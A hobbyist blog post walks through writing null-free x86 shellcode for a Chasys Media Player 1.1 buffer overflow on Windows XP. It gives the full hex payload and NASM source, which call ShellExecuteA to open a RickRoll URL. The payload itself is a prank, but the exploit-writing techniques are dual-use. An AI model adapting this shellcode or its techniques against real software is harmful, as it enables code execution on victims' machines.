I was sitting in the lab the other day ~socializing~ with other students and we all agreed it was sad that there was no shellcode out there that would open a RickRoll. Making one seemed like a good way to procrastinate from preparing a talk on privacy while learning how to write shellcodes and the challenge was accepted. The application to have fun with was Chasys Media Player 1.1 on Windows XP SP3, no DEP or ASLR.
TL;DR:
\x89\xE5\x83\xEC\x7F\x83\xEC\x7F\x83\xEC\x06\x31\xC0\x88\x45\x84\x88\x45\x91\x88\x45\xB1\x88\x45\xBD\x88\x45\xCB\x88\x45\xD0\x88\x45\xFB\x89\xEB\x83\xEB\x4E\x53\xFF\x15\x7C\x90\x41\xFF\x89\xEB\x83\xEB\x42\x53\x50\xFF\x15\x24\x91\x41\xFF\x6A\x01\x31\xC9\x51\x51\x89\xEB\x83\xEB\x2F\x53\x89\xEB\x83\xEB\x34\x53\x31\xC9\x51\xFF\xD0\x31\xC9\x51\xFF\x15\xE4\x90\x41\xFF\x53\x68\x65\x6C\x6C\x33\x32\x2E\x64\x6C\x6C\x21\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x41\x21\x6F\x70\x65\x6E\x21\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x79\x6F\x75\x74\x75\x62\x65\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x76\x3D\x6F\x48\x67\x35\x53\x4A\x59\x52\x48\x41\x30\x21
Functions Used
I tested a few ideas on how to open a RickRoll efficiently and it seemed like WinAPI ShellExecuteA was the perfect tool for the job: when called with “open” operation and a URL it opens the URL with the default browser. Now, that function resides inside Shell32.dll
, which may not always be present in memory. This meant that it had to be loaded with LoadLibraryA
and the function needed to be retrieved with GetProcAddress
from kernel32.dll
.
Strings and Null Bytes
At this point I knew I needed 4 strings in the shellcode: “Shell32.dll”, “ShellExecuteA”, “open” and the URL for the RickRoll, “http://www.youtube.com/watch?v=oHg5SJYRHA0”. That was 4 null-bytes already that would have to somehow be put into the shellcode.
db "Shell32.dll",0xFF
db "ShellExecuteA",0xFF
db "open",0xFF
db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF
Another source of null bytes would be function addresses in the target’s IAT. Maybe there are better ways of calling WinAPI functions from the shellcode, but I wanted to learn without reading any guides and this was the first idea that came to my mind.
call dword [0xFF41907C] ; LoadLibraryA
call dword [0xFF419124] ; GetProcAddress
call dword [0xFF4190E4] ; ExitProcess
To deal with these two first sources I decided to set EAX
to zero through XORing it and then to copy the AL
value to the locations in the shellcode that needed to be null bytes, while replacing nulls with 0xFF
in the shellcode that gets written on the stack.
; set nullbytes
xor eax,eax
; 3 in code
mov [ebp-7Ch],al
mov [ebp-6Fh],al
mov [ebp-4Fh],al
; 4 in data
mov [ebp-43h],al
mov [ebp-35h],al
mov [ebp-30h],al
mov [ebp-05h],al
To be able to address these locations relatively I saved ESP
value to EBP
at the very beginning of my shellcode, expecting it to point at the address right after my jump to the shellcode.
; save esp for relative addressing
mov ebp,esp
More null bytes would come from parameters passed to the functions: some of them had to be nulls. This was easier to work around as I could just set any register to zero and then push it on the stack.
The Stack
The broken stack presented another issue. Because it would be pointing at an address larger than where my shellcode would be, the shellcode would get overwritten in every function call. To fix this I simply had to subtract the length of my buffer from ESP
. The trick was not to use more null bytes, because the value I needed to subtract was bigger than 0x7F
and would need to be padded with zeroes. I decided to subtract a byte value a couple times: 0x7F + 0x7F + 0x06
would be enough.
; fix stack
sub esp,7Fh
sub esp,7Fh
sub esp,06h
The Result
Here is the resulting NASM source:
main:
[BITS 32]
; Chasys Media Player 1.1 Rick Overflow
; by @panda_sauce
; this will crash if you run it on its own, thats intended
; save esp for relative addressing
mov ebp,esp
; fix stack
sub esp,7Fh
sub esp,7Fh
sub esp,06h
; set nullbytes
xor eax,eax
; 3 in code
mov [ebp-7Ch],al
mov [ebp-6Fh],al
mov [ebp-4Fh],al
; 4 in data
mov [ebp-43h],al
mov [ebp-35h],al
mov [ebp-30h],al
mov [ebp-05h],al
; point at params correctly
mov ebx,ebp
sub ebx,4Eh
push ebx ; push offset Shell32.dll
call dword [0xFF41907C] ; LoadLibraryA
mov ebx,ebp
sub ebx,42h
push ebx ; push offset ShellExecuteA
push eax
call dword [0xFF419124] ; GetProcAddress
push 1
xor ecx,ecx ; killing null bytes
push ecx
push ecx
mov ebx,ebp
sub ebx,2Fh
push ebx ; push offset http://www.youtube.com/watch?v=oHg5SJYRHA0
mov ebx,ebp
sub ebx,34h
push ebx ; push offset open
xor ecx,ecx
push ecx
call eax ; ShellExecuteA
xor ecx,ecx
push ecx
call dword [0xFF4190E4] ; ExitProcess
db "Shell32.dll",0xFF
db "ShellExecuteA",0xFF
db "open",0xFF
db "http://www.youtube.com/watch?v=oHg5SJYRHA0",0xFF
If you want it to work on a different application you want to make sure the IAT pointers are correct. Please don’t forget to put credit where its due if you use this shellcode :)